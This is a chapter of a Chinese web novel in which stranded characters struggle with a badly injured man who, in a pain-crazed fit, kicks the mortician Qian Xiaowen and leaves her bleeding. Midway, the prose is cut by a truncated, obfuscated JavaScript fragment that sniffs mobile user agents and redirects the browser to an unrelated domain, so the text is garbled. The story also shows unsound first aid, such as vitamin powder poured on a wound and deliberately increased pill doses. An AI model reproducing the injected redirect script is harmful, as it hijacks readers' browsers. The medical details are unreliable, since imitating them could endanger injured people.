8. 第 8 章

作品:《等我有空把你们全杀了

    梁威站在范明胜门口。


    门铃上方挂铭牌的位置干干净净,门扉色泽没有被损坏的痕迹。


    “很奇怪吧?”


    周志靠过来,站在他旁边一起端看。


    梁威嗯了一声。


    周志:“其实我记得是有的。”


    他比他们早一天到,出于礼貌,没有贸然进他们的房间,但找自己房间时,将每间房的铭牌都看过。


    却不知道在什么时候,范明胜这间房的铭牌不在了。


    梁威推开门。


    屋内乱七八糟,发生了平月的事情,他们搜查房间时极尽愤怒,翻得乱七八糟。


    范明胜也没收拾,甚至将东西全部踢到一堆,更乱了。


    梁威踢开杂乱成堆的杂物,拎出范明胜的蛇皮口袋。


    范明胜和他们同一车从平城东站到巴斯镇,只要找到他的车票,便能清楚他这一趟的目的了。


    周志在丢在床边的裤子屁股兜里翻到车票。


    他递给梁威。


    夏令营的车票上附带着一张二维码,提前一周邮寄给他们,是网络售票。范明胜这张没有二维码,票上信息显示这张车票是发车前一天从车站窗口出票的。


    周志说:“不一样。”


    梁威:“嗯。”


    有了这张车票,几乎可以肯定范明胜是半路盯上了他们,浑水摸鱼插进来。


    他们又继续找,每样东西都翻出来看,垃圾堆也翻了,没有找到范明胜与夏令营相关的东西。


    范明胜的手机上了锁,没法查看。


    “可能真是我记错了。”


    周志看眼时间,晚上十点十五分了。


    “你是警察,你先拿着这两样东西吧,我得下去换她了,老年人晚上守不住。”


    ……


    范明胜半夜醒了。


    昏迷太久,所有感知器官都消退到最低。他迷茫地望着天花板的灯。


    周志发现得非常及时,快速将备好的药塞他嘴里。范明胜下意识张开嘴,吃完了药,喝完了水。


    他伤得太重,药量比平常人吃得多。没一会儿,药效上来,他又睡着了。


    出乎意料的没有闹腾。周志喝口茶,继续看动物世界。


    没有网的日子,电视就是最好的伙伴。


    清晨六点,赵淑萍下来换他。他上去睡觉,赵淑萍拿着早餐坐在餐厅里吃,吃完了挪到沙发里织毛衣。


    刚织两排,范明胜猛地一震醒过来。睡醒和昏迷醒来的感知力完全不同,药效也退完了,腿的疼痛骤然袭击他的感知神经。他抱着空荡荡的腿惨叫起来。


    “啊——!”


    赵淑萍吓了一跳,钢针戳到手指上,疼得她直抽气。


    她把毛衣丢开,顾不上自个儿疼,先去安抚他。


    “没事了,没事了……”


    她拿了周志离开前放在那儿的药,哄着他:“来吃点止痛药,吃了就没事了……”


    药还没有喂到他嘴边,范明胜一挥手拍掉,蹬着另一条腿蜷缩在沙发上嘶嚎。


    他从来没经历过这种痛,断掉的那条腿,空荡荡的腿,就像有人正举着一把锯子,一只手按住他的腿,一只手拉着锯子锯。


    嘎吱,嘎吱,嘎吱。


    每拉一次,锯子在皮肉之间与骨头摩擦出刺耳的噪音。


    头顶的白灯青幽幽地照着。遍地的血像暴雨后的地面,淤泥不堪,无声流动。


    他就是那条被宰的猪,躺在地上,任人用锯子割据。


    不,不,不是这样!


    地上的人不是他!他才是握锯子的人!


    范明胜翻身而起,抓住旁边的人就往地上按。


    他力大无穷,赵淑萍直接被他摁翻了。所幸是沙发,没摔倒她。她半躺在沙发上,梁威冲过来,从范明胜背后将人钳制住。


    赵淑萍颤颤巍巍爬起来,大声冲楼上叫:“快叫晓文下来!”


    正往楼下跑的悦凌凌立刻掉头去叫钱晓文。


    “钱晓文!”


    “钱晓文!”


    “钱晓文!”


    钱晓文也很慌,她是入殓师,不是医生,叫她她也没办法。


    没有止痛针,没有麻醉药,唯一有的只有布洛芬,这种药对范明胜的作用微乎其微。


    她看了梁威一眼。梁威固定着范明胜的两条胳膊防止他发疯。此时的范明胜就像一个被绑在十字架上的罪人,沙发背就是他的十字架,他被禁锢着坐在那里,一条腿断了,一条腿蜷在屁股下面。


    “放开!放开!”


    他大吼大叫,不断挣扎。


    梁威示意她快点。


    快点有什么用。


    她是入殓师,不是医生!


    她盯着梁威。


    梁威只好说:“先喂点药吧。”


    钱晓文立刻抓过桌上的药,布洛芬、阿司匹林、各种维生素,摁出比平时多的份量——小时候生病吃药就是这样,药剂大,好得快。


    更何况是范明胜这种特殊情况。维生素多倍,没什么问题。


    范明胜正在嘶吼,钱晓文握着一把药片,就着这机会往范明胜嘴里塞。


    人影从头顶罩下来,又宽又大,遮挡了范明胜全部的视野,那片影子像灌了水的死肥猪一样肥大,将他完完全全盖住。


    就像那个晚上,她从他头顶倒下来,庞大的阴影罩住他,留了他一脸的血。


    恐惧从心底突袭而出,范明胜浑身一震,拔出全身最大的力气,用那只完好的脚,朝阴影踹过去。


    走开!


    走开!


    滚开!


    去死!


    去死!


    踹死她!踹死她!


    她不能死在他身上!会留案底,会给他的儿子留案底!


    不能有案底!


    要死滚开去死!


    一脚,两脚,三脚,照着覆盖过来的影子用力踹。


    正中钱晓文的肚子。


    钱晓文被踹飞了,倒在身后的桌上。


    茶杯打翻在地,碎了一地的玻璃和污水。她捂住肚子,一脸惨白。


    脑海像被掏空了一样空白,剧痛是后来升起的。一阵绞痛,撕心裂肺地绞痛。她捂着肚子,从桌上翻滚下去,滚到地上。她蜷在地上,抱着肚子,浑身都在颤抖。


    “你没事吧……?”


    悦凌凌去扶她。


    “滚啊!”


    她一把挥开悦凌凌的手,撑着桌子爬起来,一步一步往楼上走。


    有什么东西,在流。


    像水,也像血,顺着腿根流。


    她扶着楼梯扶手,艰难地往上爬。


    平月站在楼梯口,想去扶,自己腿也不方便,指不定谁扶谁,干脆让开身,免得挡了路。


    钱晓文像是没看见她,撞着墙,往房间走。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926638|160543||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她的后背,那条白色的睡裤上面,染了一抹鲜红的血。


    不知道是范明胜的,还是谁的。


    “嘭!”


    她跌进房间,甩上门。


    平月收回视线。


    楼下没了动静。


    梁威和陈宇南、余有为合力让范明胜吃了药。他又睡着了。


    陈宇南甩着手臂,“真难搞。”


    人发疯时力气出奇的大,特别是刚才的范明胜,跟五指山夺了魂似的,压都压不住。


    陈宇南的手臂被他撞好几下,这会发着酸痛。


    平月挪下楼梯,陈宇南看见她,诧异:“你下来做什么?”


    她指了指厨房,“烧水。”


    原本是听见动静出来看看,现在想喝水了。


    她接了水放在炉灶上烧。


    客厅里,悦凌凌揪着手指站在沙发旁,一脸纠结:“这样也不是办法啊……保安什么时候来啊?”


    梁威看时间,才七点半。他们从巴斯车站上来,是第二天中午到的。Jck安排的人,来得快也要十点去了。


    梁威:“差不多还有三个小时。”


    悦凌凌指着范明胜:“那还要叫钱晓文给他处理伤口吗?”


    他的伤口在挣扎中全裂开了,血一股一股地冒,已经漆黑的沙发又染上一层血红。


    “不处理会……”


    悦凌凌不敢说那个字,但她也不敢去找钱晓文。


    钱晓文刚才的样子好吓人,跟要吃人似的。


    刚才的情形……梁威也不好去叫。他翻了翻桌上乱成一片的药,找不到什么可以止血的,后知后觉想起钱晓文是缝合止血。


    他干不来这种细致活,便将维生素全倒出来,让悦凌凌碾碎成粉。


    范明胜腿上的纱布被血凝固黏在伤口,他倒碘伏软化,剪掉纱布,把维生素粉全倒上去,用新纱布紧紧裹住。


    悦凌凌咂舌:“这样能行吗?”


    梁威也不知道行不行,这是他第一次实践。系上绷带后,才生出一丝后悔,还是应该去叫钱晓文来,虽然是入殓师,但止血这方面比他们专业。


    血染透了新换的绷带。


    悦凌凌明显急了,焦虑地抠手指头。


    赵淑萍说:“我去叫她下来吧。到底是人命一条,不能放着不管。”


    她还没有走上楼梯,血浸透得慢了。等赵淑萍上到二楼,血停了。


    悦凌凌总算松了口气,“奶,好了,不用去了。”


    “真行了?”


    “真行了。”


    赵淑萍又下来。


    水烧好了,平月洗一遍保温杯,往里面装满。


    赵淑萍问客厅里的人:“你们喝茶吗?”


    除了赵淑萍,其余人都是被突然吵醒的。虽然范明胜睡着了,他们也没法回去睡,得留在这里以防万一,还得等安保人员来。


    还有两个多小时,有得等。


    陈宇南打个哈欠,问:“有没有咖啡。”他昨晚三点才睡。


    赵淑萍往柜子里翻了翻,翻到一桶蓝山咖啡豆。


    她说:“我弄不来。小伙子自己来动手。”


    陈宇南薅着头发过去,悦凌凌赶紧说:“陈宇南,我也要喝。”


    ……


    中午十二点。


    车没有来。


    没有医生,没有安保人员。


    屋外晴空万里,万里无人。